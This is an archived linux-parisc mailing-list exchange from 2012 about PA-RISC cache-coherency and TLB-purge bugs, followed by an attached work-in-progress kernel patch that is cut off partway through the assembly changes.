Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1325517200 23293 80.91.229.12 (2 Jan 2012 15:13:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 2 Jan 2012 15:13:20 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: Grant Grundler <grantgrundler@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 02 16:13:14 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RhjZY-0005o0-T9
	for glpp-linux-parisc@lo.gmane.org; Mon, 02 Jan 2012 16:13:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751721Ab2ABPNM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Jan 2012 10:13:12 -0500
Original-Received: from blu0-omc4-s26.blu0.hotmail.com ([65.55.111.165]:8825 "EHLO
	blu0-omc4-s26.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751367Ab2ABPNL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Jan 2012 10:13:11 -0500
Original-Received: from BLU0-SMTP31 ([65.55.111.136]) by blu0-omc4-s26.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 2 Jan 2012 07:13:10 -0800
X-Originating-IP: [174.92.90.153]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.90.153]) by BLU0-SMTP31.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 2 Jan 2012 07:13:09 -0800
In-Reply-To: <CANEJEGv5jOLEywzj52KVsdQHJmXf5GxWDBaJZNnbfnwhYcR23A@mail.gmail.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 02 Jan 2012 15:13:10.0293 (UTC) FILETIME=[09F47C50:01CCC961]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4087
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4087>

On 2-Jan-12, at 1:23 AM, Grant Grundler wrote:

> Well Done!
> That must have been incredibly hard to find. It's a bummer the only
> way we can find those sorts of things is by unraveling crash dumps. :(
>

Sadly, the crash dumps were never very helpful.  The hpmc's arising
from cache corruption were usually significantly deferred.  Often, the
crashes would occur with the processors in the idle loop!  Probably,
HP had a JTAG box or something similar to analyze cache problems.

We have known for some time that non-equivalent aliases are not
supported on PA8800 and PA8900 processors.  I patched binutils
several months ago to fix this problem.  However, the entire runtime
needs to be recompiled to eliminate the problem.

The kernel routine that causes the hpmc's is flush_cache_range.
I wrote a modified version that can check the page mapping, but it
is very slow.  This is a very performance critical function.

Another source of instability was TLB purges.  We put lock/unlock
sequences around all the purges in the C code, but somehow we forgot
to do the same in the assembly code in pacache.S.

I believe that I fixed the COW/minifail bug yesterday.  I now have
copy_user_page doing copies via the temp-alias region.  We also
forgot to purge the TLB entries when we write protected the page
table for COW.  As a result, multithreaded applications could continue
to dirty a page after it was nominally write protected.

There is more to do on this.  I know that clear_user_page and
copy_user_page no longer need the dcache flushes in
kunmap_parisc.  What I'm really hoping is that we will now be
able to change the define for flush_cache_dup_mm to:

#define flush_cache_dup_mm(mm)		do { } while (0)

>> I have started working on setting up magnum for buildd.
>
> If I can download a bunch of .debs, I'd be happy to install and run
> some tests on my j6k.

The .debs can be found in my home directory on dogma.  binutils,
gcc-4.4 and gcc-4.6 can be updated without kernel issues.  I believe
that glibc needs 2.6.26 or later.  Watch out for udev.  Don't update
it until glibc is updated.  It's definitely tricky to do the updates  
by hand.

I'm going to work on the kernel patch some more today.  Hopefully,
it will then be ready for testing on other machines.

Dave
Happy New Year
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Happy New Year PARISC
Date: Mon, 2 Jan 2012 18:12:51 -0500
Lines: 1006
Approved: news@gmane.org
Message-ID: <BLU0-SMTP20DB85B206E6F015C370CE97910@phx.gbl>
References: <BLU0-SMTP8506059BFA40F0B7419F2497900@phx.gbl> <CANEJEGv5jOLEywzj52KVsdQHJmXf5GxWDBaJZNnbfnwhYcR23A@mail.gmail.com> <BLU0-SMTP31AEFBE4BAA62F2EED77CE97910@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-5--653579163"
X-Trace: dough.gmane.org 1325546003 23281 80.91.229.12 (2 Jan 2012 23:13:23 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 2 Jan 2012 23:13:23 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: Grant Grundler <grantgrundler@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 03 00:13:18 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Rhr45-0008QJ-C0
	for glpp-linux-parisc@lo.gmane.org; Tue, 03 Jan 2012 00:13:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753446Ab2ABXNM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Jan 2012 18:13:12 -0500
Original-Received: from blu0-omc4-s26.blu0.hotmail.com ([65.55.111.165]:57796 "EHLO
	blu0-omc4-s26.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752335Ab2ABXNL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Jan 2012 18:13:11 -0500
Original-Received: from BLU0-SMTP20 ([65.55.111.137]) by blu0-omc4-s26.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 2 Jan 2012 15:13:10 -0800
X-Originating-IP: [174.92.90.153]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.90.153]) by BLU0-SMTP20.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 2 Jan 2012 15:13:07 -0800
In-Reply-To: <BLU0-SMTP31AEFBE4BAA62F2EED77CE97910@phx.gbl>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 02 Jan 2012 23:13:08.0576 (UTC) FILETIME=[1711BE00:01CCC9A4]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4088
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4088>

--Apple-Mail-5--653579163
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

On 2-Jan-12, at 10:12 AM, John David Anglin wrote:

> I'm going to work on the kernel patch some more today.  Hopefully,
> it will then be ready for testing on other machines.

None of this worked.  Attached patch as it stands.  Comments and  
testing appreciated.

Regards,
Dave
--
John David Anglin	dave.anglin@bell.net



--Apple-Mail-5--653579163
Content-Disposition: attachment; filename="linux-stable-20120102.d.txt"
Content-Type: text/plain; x-unix-mode=0644;
	name="linux-stable-20120102.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/hpux/wrappers.S b/arch/parisc/hpux/wrappers.S
index 58c53c8..bdcea33 100644
--- a/arch/parisc/hpux/wrappers.S
+++ b/arch/parisc/hpux/wrappers.S
@@ -88,7 +88,7 @@ ENTRY(hpux_fork_wrapper)
 
 	STREG	%r2,-20(%r30)
 	ldo	64(%r30),%r30
-	STREG	%r2,PT_GR19(%r1)	;! save for child
+	STREG	%r2,PT_SYSCALL_RP(%r1)	;! save for child
 	STREG	%r30,PT_GR21(%r1)	;! save for child
 
 	LDREG	PT_GR30(%r1),%r25
@@ -132,7 +132,7 @@ ENTRY(hpux_child_return)
 	bl,n	schedule_tail, %r2
 #endif
 
-	LDREG	TASK_PT_GR19-TASK_SZ_ALGN-128(%r30),%r2
+	LDREG	TASK_PT_SYSCALL_RP-TASK_SZ_ALGN-128(%r30),%r2
 	b fork_return
 	copy %r0,%r28
 ENDPROC(hpux_child_return)
diff --git a/arch/parisc/include/asm/futex.h b/arch/parisc/include/asm/futex.h
index 2388bdb..7839285 100644
--- a/arch/parisc/include/asm/futex.h
+++ b/arch/parisc/include/asm/futex.h
@@ -8,6 +8,29 @@
 #include <asm/atomic.h>
 #include <asm/errno.h>
 
+/* The following has to match the LWS code in syscall.S.  We have
+   sixteen four-word locks. */
+
+static inline void
+_futex_spin_lock_irqsave (u32 __user *uaddr, unsigned long int *flags)
+{
+	extern u32 lws_lock_start[];
+	long index = ((long)uaddr & 0xf0) >> 2;
+	arch_spinlock_t *s = (arch_spinlock_t *)&lws_lock_start[index];
+	local_irq_save(*flags);
+	arch_spin_lock(s);
+}
+
+static inline void
+_futex_spin_unlock_irqrestore (u32 __user *uaddr, unsigned long int *flags)
+{
+	extern u32 lws_lock_start[];
+	long index = ((long)uaddr & 0xf0) >> 2;
+	arch_spinlock_t *s = (arch_spinlock_t *)&lws_lock_start[index];
+	arch_spin_unlock(s);
+	local_irq_restore(*flags);
+}
+
 static inline int
 futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 {
@@ -26,7 +49,7 @@ futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 
 	pagefault_disable();
 
-	_atomic_spin_lock_irqsave(uaddr, flags);
+	_futex_spin_lock_irqsave(uaddr, &flags);
 
 	switch (op) {
 	case FUTEX_OP_SET:
@@ -71,7 +94,7 @@ futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 		ret = -ENOSYS;
 	}
 
-	_atomic_spin_unlock_irqrestore(uaddr, flags);
+	_futex_spin_unlock_irqrestore(uaddr, &flags);
 
 	pagefault_enable();
 
@@ -113,7 +136,7 @@ futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
 	 * address. This should scale to a couple of CPUs.
 	 */
 
-	_atomic_spin_lock_irqsave(uaddr, flags);
+	_futex_spin_lock_irqsave(uaddr, &flags);
 
 	ret = get_user(val, uaddr);
 
@@ -122,7 +145,7 @@ futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
 
 	*uval = val;
 
-	_atomic_spin_unlock_irqrestore(uaddr, flags);
+	_futex_spin_unlock_irqrestore(uaddr, &flags);
 
 	return ret;
 }
diff --git a/arch/parisc/include/asm/page.h b/arch/parisc/include/asm/page.h
index a84cc1f..ea63524 100644
--- a/arch/parisc/include/asm/page.h
+++ b/arch/parisc/include/asm/page.h
@@ -22,14 +22,14 @@
 #include <asm/cache.h>
 
 #define clear_page(page)	memset((void *)(page), 0, PAGE_SIZE)
-#define copy_page(to,from)      copy_user_page_asm((void *)(to), (void *)(from))
+#define copy_page(to,from)      copy_page_asm((void *)(to), (void *)(from))
 
 struct page;
 
-void copy_user_page_asm(void *to, void *from);
+void copy_page_asm(void *to, void *from);
 void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
 			   struct page *pg);
-void clear_user_page(void *page, unsigned long vaddr, struct page *pg);
+void clear_user_page(void *vto, unsigned long vaddr, struct page *pg);
 
 /*
  * These are used to make use of C type-checking..
diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index 22dadeb..ab667f8 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -40,7 +40,14 @@ struct vm_area_struct;
         do{                                                     \
                 *(pteptr) = (pteval);                           \
         } while(0)
-#define set_pte_at(mm,addr,ptep,pteval) set_pte(ptep,pteval)
+
+extern void purge_tlb_entries(struct mm_struct *, unsigned long);
+
+#define set_pte_at(mm,addr,ptep, pteval)                        \
+        do{                                                     \
+                set_pte(ptep,pteval);                           \
+                purge_tlb_entries(mm,addr);                     \
+        } while(0)
 
 #endif /* !__ASSEMBLY__ */
 
@@ -464,6 +471,7 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 		old = pte_val(*ptep);
 		new = pte_val(pte_wrprotect(__pte (old)));
 	} while (cmpxchg((unsigned long *) ptep, old, new) != old);
+	purge_tlb_entries(mm, addr);
 #else
 	pte_t old_pte = *ptep;
 	set_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
diff --git a/arch/parisc/kernel/asm-offsets.c b/arch/parisc/kernel/asm-offsets.c
index dcd5510..5df1597 100644
--- a/arch/parisc/kernel/asm-offsets.c
+++ b/arch/parisc/kernel/asm-offsets.c
@@ -141,6 +141,7 @@ int main(void)
 	DEFINE(TASK_PT_IAOQ0, offsetof(struct task_struct, thread.regs.iaoq[0]));
 	DEFINE(TASK_PT_IAOQ1, offsetof(struct task_struct, thread.regs.iaoq[1]));
 	DEFINE(TASK_PT_CR27, offsetof(struct task_struct, thread.regs.cr27));
+	DEFINE(TASK_PT_SYSCALL_RP, offsetof(struct task_struct, thread.regs.pad0));
 	DEFINE(TASK_PT_ORIG_R28, offsetof(struct task_struct, thread.regs.orig_r28));
 	DEFINE(TASK_PT_KSP, offsetof(struct task_struct, thread.regs.ksp));
 	DEFINE(TASK_PT_KPC, offsetof(struct task_struct, thread.regs.kpc));
@@ -230,6 +231,7 @@ int main(void)
 	DEFINE(PT_IAOQ0, offsetof(struct pt_regs, iaoq[0]));
 	DEFINE(PT_IAOQ1, offsetof(struct pt_regs, iaoq[1]));
 	DEFINE(PT_CR27, offsetof(struct pt_regs, cr27));
+	DEFINE(PT_SYSCALL_RP, offsetof(struct pt_regs, pad0));
 	DEFINE(PT_ORIG_R28, offsetof(struct pt_regs, orig_r28));
 	DEFINE(PT_KSP, offsetof(struct pt_regs, ksp));
 	DEFINE(PT_KPC, offsetof(struct pt_regs, kpc));
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 83335f3..a6e90cf 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -134,7 +134,7 @@ parisc_cache_init(void)
 	if (pdc_cache_info(&cache_info) < 0)
 		panic("parisc_cache_init: pdc_cache_info failed");
 
-#if 0
+#if 1
 	printk("ic_size %lx dc_size %lx it_size %lx\n",
 		cache_info.ic_size,
 		cache_info.dc_size,
@@ -315,9 +315,13 @@ void flush_dcache_page(struct page *page)
 
 		flush_tlb_page(mpnt, addr);
 		if (old_addr == 0 || (old_addr & (SHMLBA - 1)) != (addr & (SHMLBA - 1))) {
-			__flush_cache_page(mpnt, addr, page_to_phys(page));
-			if (old_addr)
+			if (old_addr == 0)
+				__flush_cache_page(mpnt, addr, page_to_phys(page));
+			else if (parisc_requires_coherency()) {
+				/* Big trouble -- we have a bad mapping */
+				flush_cache_all();
 				printk(KERN_ERR "INEQUIVALENT ALIASES 0x%lx and 0x%lx in file %s\n", old_addr, addr, mpnt->vm_file ? (char *)mpnt->vm_file->f_path.dentry->d_name.name : "(null)");
+			}
 			old_addr = addr;
 		}
 	}
@@ -331,17 +335,6 @@ EXPORT_SYMBOL(flush_kernel_dcache_page_asm);
 EXPORT_SYMBOL(flush_data_cache_local);
 EXPORT_SYMBOL(flush_kernel_icache_range_asm);
 
-void clear_user_page_asm(void *page, unsigned long vaddr)
-{
-	unsigned long flags;
-	/* This function is implemented in assembly in pacache.S */
-	extern void __clear_user_page_asm(void *page, unsigned long vaddr);
-
-	purge_tlb_start(flags);
-	__clear_user_page_asm(page, vaddr);
-	purge_tlb_end(flags);
-}
-
 #define FLUSH_THRESHOLD 0x80000 /* 0.5MB */
 int parisc_cache_flush_threshold __read_mostly = FLUSH_THRESHOLD;
 
@@ -375,18 +368,25 @@ void __init parisc_setup_cache_timing(void)
 	printk(KERN_INFO "Setting cache flush threshold to %x (%d CPUs online)\n", parisc_cache_flush_threshold, num_online_cpus());
 }
 
-extern void purge_kernel_dcache_page(unsigned long);
-extern void clear_user_page_asm(void *page, unsigned long vaddr);
+extern void purge_kernel_dcache_page_asm(unsigned long);
+extern void clear_user_page_asm(void *, unsigned long);
+extern void copy_user_page_asm(void *, void *, unsigned long);
 
-void clear_user_page(void *page, unsigned long vaddr, struct page *pg)
+void clear_user_page(void *vto, unsigned long vaddr, struct page *page)
 {
 	unsigned long flags;
 
-	purge_kernel_dcache_page((unsigned long)page);
+	/* The PA-RISC 2.0 Architecture book states on page F-6:
+	   "Before a write-capable translation is enabled, *all*
+	   non-equivalently-aliased translations must be removed
+	   from the page table and purged from the TLB.  (Note
+	   that the caches are not required to be flushed at this
+	   time.)"  */
+
 	purge_tlb_start(flags);
-	pdtlb_kernel(page);
+	pdtlb_kernel(vto);
 	purge_tlb_end(flags);
-	clear_user_page_asm(page, vaddr);
+	clear_user_page_asm(vto, vaddr);
 }
 EXPORT_SYMBOL(clear_user_page);
 
@@ -401,13 +401,33 @@ void flush_kernel_dcache_page_addr(void *addr)
 }
 EXPORT_SYMBOL(flush_kernel_dcache_page_addr);
 
+#define COPY_USER_PAGE_VIA_KMAP 1
+
 void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
-		    struct page *pg)
+	struct page *pg)
 {
-	/* no coherency needed (all in kmap/kunmap) */
-	copy_user_page_asm(vto, vfrom);
+#if COPY_USER_PAGE_VIA_KMAP
+	/* Copy using kernel mapping.  This has the advantage
+	   that no coherency is needed in copy_page_asm (all in
+	   kmap/kunmap).  However, the `from' page may be dirty
+	   in threaded applications and it needs to be flushed
+	   before it can be accessed through the kernel mapping. */
+	copy_page_asm(vto, vfrom);
 	if (!parisc_requires_coherency())
 		flush_kernel_dcache_page_asm(vto);
+#else
+	unsigned long flags;
+
+	/* Copy through temp-alias region.  This has the advantage
+	   that the `from' page doesn't need to be flushed.  However,
+	   the `to' page must be flushed in copy_user_page_asm since
+	   it can be used to bring in code.  */
+	purge_tlb_start(flags);
+	pdtlb_kernel(vto);
+	pdtlb_kernel(vfrom);
+	purge_tlb_end(flags);
+	copy_user_page_asm(vto, vfrom, vaddr);
+#endif
 }
 EXPORT_SYMBOL(copy_user_page);
 
@@ -487,18 +507,90 @@ flush_user_icache_range(unsigned long start, unsigned long end)
 		flush_instruction_cache();
 }
 
+/* While useful for testing, this check has too much overhead for
+   general use.  Thus, it is better to fix inequivalent mappings
+   than whack the cache.  */
+#define DEBUG_PAGE_MAPPING 0
+
+static inline void check_page_mapping(struct page *page)
+{
+#if DEBUG_PAGE_MAPPING
+	struct address_space *mapping = page_mapping(page);
+	struct vm_area_struct *mpnt;
+	struct prio_tree_iter iter;
+	unsigned long offset;
+	unsigned long addr, old_addr = 0;
+	pgoff_t pgoff;
+
+	if (!mapping || !mapping_mapped(mapping))
+		return;
+
+	pgoff = page->index << (PAGE_CACHE_SHIFT - PAGE_SHIFT);
+
+	/* Check that all mappings of a file are congruently mapped */
+
+	flush_dcache_mmap_lock(mapping);
+	vma_prio_tree_foreach(mpnt, &iter, &mapping->i_mmap, pgoff, pgoff) {
+		offset = (pgoff - mpnt->vm_pgoff) << PAGE_SHIFT;
+		addr = mpnt->vm_start + offset;
+		if (old_addr == 0 || (old_addr & (SHMLBA - 1)) != (addr & (SHMLBA - 1))) {
+			if (old_addr) {
+				printk(KERN_ERR "INEQUIVALENT ALIASES 0x%lx and 0x%lx in file %s\n", old_addr, addr, mpnt->vm_file ? (char *)mpnt->vm_file->f_path.dentry->d_name.name : "(null)");
+			}
+			old_addr = addr;
+		}
+	}
+	flush_dcache_mmap_unlock(mapping);
+#endif
+}
+
+static inline pte_t *get_ptep(pgd_t *pgd, unsigned long addr)
+{
+	pte_t *ptep = NULL;
+
+        if (!pgd_none(*pgd)) {
+                pud_t *pud = pud_offset(pgd, addr);
+                if (!pud_none(*pud)) {
+                        pmd_t *pmd = pmd_offset(pud, addr);
+                        if (!pmd_none(*pmd)) {
+                                ptep = pte_offset_map(pmd, addr);
+                        }
+                }
+        }
+	return ptep;
+}
+
+/* While flushing by page is slightly less efficient, it allows detection
+   of pages without pte's and mappings with inequivalent aliases.  */
+
+#define FLUSH_CACHE_RANGE_BY_PAGE 0
 
 void flush_cache_range(struct vm_area_struct *vma,
 		unsigned long start, unsigned long end)
 {
-	int sr3;
-
 	BUG_ON(!vma->vm_mm->context);
 
-	sr3 = mfsp(3);
-	if (vma->vm_mm->context == sr3) {
-		flush_user_dcache_range(start,end);
-		flush_user_icache_range(start,end);
+	if ((end - start) < parisc_cache_flush_threshold
+	    && vma->vm_mm->context == mfsp(3)) {
+#if FLUSH_CACHE_RANGE_BY_PAGE
+		unsigned long addr;
+		pte_t *ptep;
+		pgd_t *pgd = vma->vm_mm->pgd;
+
+		for (addr = start & PAGE_MASK; addr < end; addr += PAGE_SIZE) {
+			ptep = get_ptep(pgd, addr);
+			if (!ptep) {
+				/* ??? Why don't we have a pte?  */
+				flush_cache_all();
+				return;
+			}
+			check_page_mapping(pte_page(*ptep));
+			flush_cache_page(vma, addr, pte_pfn(*ptep));
+		}
+#else
+		flush_user_dcache_range_asm(start,end);
+		flush_user_icache_range_asm(start,end);
+#endif
 	} else {
 		flush_cache_all();
 	}
@@ -513,3 +605,23 @@ flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long
 	__flush_cache_page(vma, vmaddr, page_to_phys(pfn_to_page(pfn)));
 
 }
+
+void purge_tlb_entries(struct mm_struct *mm, unsigned long addr)
+{
+	unsigned long flags;
+
+	/* The PA-RISC 2.0 Architecture book states on page F-7:
+	   "Before any non-equivalent aliased translation is re-enabled,
+	    the virtual address range for the writeable page (the entire
+	    page) must be flushed from the cache, and the write-capable
+	    translation removed from the page table and purged from the
+	    TLB."  set_pte_at is used to setup COW pages, so the TLB
+	    must be purged.  Note: purge_tlb_entries can be called at
+	    startup with no context.  */
+
+	mtsp(mm->context,1);
+	purge_tlb_start(flags);
+	pdtlb(addr);
+	pitlb(addr);
+	purge_tlb_end(flags);
+}
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 6f05944..3caa199 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -483,7 +483,7 @@
 	 * B <-> _PAGE_DMB (memory break)
 	 *
 	 * Then incredible subtlety: The access rights are
-	 * _PAGE_GATEWAY _PAGE_EXEC _PAGE_READ
+	 * _PAGE_GATEWAY, _PAGE_EXEC and _PAGE_WRITE
 	 * See 3-14 of the parisc 2.0 manual
 	 *
 	 * Finally, _PAGE_READ goes in the top bit of PL1 (so we
@@ -493,7 +493,7 @@
 
 	/* PAGE_USER indicates the page can be read with user privileges,
 	 * so deposit X1|11 to PL1|PL2 (remember the upper bit of PL1
-	 * contains _PAGE_READ */
+	 * contains _PAGE_READ) */
 	extrd,u,*=      \pte,_PAGE_USER_BIT+32,1,%r0
 	depdi		7,11,3,\prot
 	/* If we're a gateway page, drop PL2 back to zero for promotion
@@ -1777,9 +1777,9 @@ ENTRY(sys_fork_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	/* These are call-clobbered registers and therefore
-	   also syscall-clobbered (we hope). */
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)	/* save for child */
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 
 	LDREG	PT_GR30(%r1),%r25
@@ -1809,7 +1809,7 @@ ENTRY(child_return)
 	nop
 
 	LDREG	TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE-FRAME_SIZE(%r30), %r1
-	LDREG	TASK_PT_GR19(%r1),%r2
+	LDREG	TASK_PT_SYSCALL_RP(%r1),%r2
 	b	wrapper_exit
 	copy	%r0,%r28
 ENDPROC(child_return)
@@ -1828,8 +1828,9 @@ ENTRY(sys_clone_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	/* WARNING - Clobbers r19 and r21, userspace must save these! */
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)	/* save for child */
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 	BL	sys_clone,%r2
 	copy	%r1,%r24
@@ -1852,7 +1853,7 @@ ENTRY(sys_vfork_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)	/* save for child */
 	STREG	%r30,PT_GR21(%r1)
 
 	BL	sys_vfork,%r2
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index c0b1aff..0299d63 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -410,11 +410,13 @@ void __init init_IRQ(void)
 {
 	local_irq_disable();	/* PARANOID - should already be disabled */
 	mtctl(~0UL, 23);	/* EIRR : clear all pending external intr */
-	claim_cpu_irqs();
 #ifdef CONFIG_SMP
-	if (!cpu_eiem)
+	if (!cpu_eiem) {
+		claim_cpu_irqs();
 		cpu_eiem = EIEM_MASK(IPI_IRQ) | EIEM_MASK(TIMER_IRQ);
+	}
 #else
+	claim_cpu_irqs();
 	cpu_eiem = EIEM_MASK(TIMER_IRQ);
 #endif
         set_eiem(cpu_eiem);	/* EIEM : enable all external intr */
diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index 93ff3d9..5188abd 100644
--- a/arch/parisc/kernel/pacache.S
+++ b/arch/parisc/kernel/pacache.S
@@ -199,7 +199,6 @@ ENTRY(flush_instruction_cache_local)
 	.callinfo NO_CALLS
 	.entry
 
-	mtsp		%r0, %sr1
 	load32		cache_info, %r1
 
 	/* Flush Instruction Cache */
@@ -208,20 +207,46 @@ ENTRY(flush_instruction_cache_local)
 	LDREG		ICACHE_STRIDE(%r1), %arg1
 	LDREG		ICACHE_COUNT(%r1), %arg2
 	LDREG		ICACHE_LOOP(%r1), %arg3
-	rsm             PSW_SM_I, %r22		/* No mmgt ops during loop*/
+	rsm		PSW_SM_I, %r22		/* No mmgt ops during loop*/
 	addib,COND(=)		-1, %arg3, fioneloop	/* Preadjust and test */
 	movb,<,n	%arg3, %r31, fisync	/* If loop < 0, do sync */
 
 fimanyloop:					/* Loop if LOOP >= 2 */
 	addib,COND(>)		-1, %r31, fimanyloop	/* Adjusted inner loop decr */
-	fice            %r0(%sr1, %arg0)
-	fice,m		%arg1(%sr1, %arg0)	/* Last fice and addr adjust */
+	fice            %r0(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)	/* Last fice and addr adjust */
 	movb,tr		%arg3, %r31, fimanyloop	/* Re-init inner loop count */
 	addib,COND(<=),n	-1, %arg2, fisync	/* Outer loop decr */
 
 fioneloop:					/* Loop if LOOP = 1 */
-	addib,COND(>)		-1, %arg2, fioneloop	/* Outer loop count decr */
-	fice,m		%arg1(%sr1, %arg0)	/* Fice for one loop */
+	/* Some implementations may flush with a single fice instruction */
+	cmpib,COND(>>=),n	15, %arg2, fioneloop2
+
+fioneloop1:
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	addib,COND(>)	-16, %arg2, fioneloop1
+	fice,m		%arg1(%sr2, %arg0)
+
+	/* Check if done */
+	cmpb,COND(=),n	%arg2, %r0, fisync	/* Predict branch taken */
+
+fioneloop2:
+	addib,COND(>)	-1, %arg2, fioneloop2	/* Outer loop count decr */
+	fice,m		%arg1(%sr2, %arg0)	/* Fice for one loop */
 
 fisync:
 	sync
@@ -240,8 +265,7 @@ ENTRY(flush_data_cache_local)
 	.callinfo NO_CALLS
 	.entry
 
-	mtsp		%r0, %sr1
-	load32 		cache_info, %r1
+	load32		cache_info, %r1
 
 	/* Flush Data Cache */
 
@@ -249,20 +273,46 @@ ENTRY(flush_data_cache_local)
 	LDREG		DCACHE_STRIDE(%r1), %arg1
 	LDREG		DCACHE_COUNT(%r1), %arg2
 	LDREG		DCACHE_LOOP(%r1), %arg3
-	rsm		PSW_SM_I, %r22
+	rsm		PSW_SM_I, %r22		/* No mmgt ops during loop*/
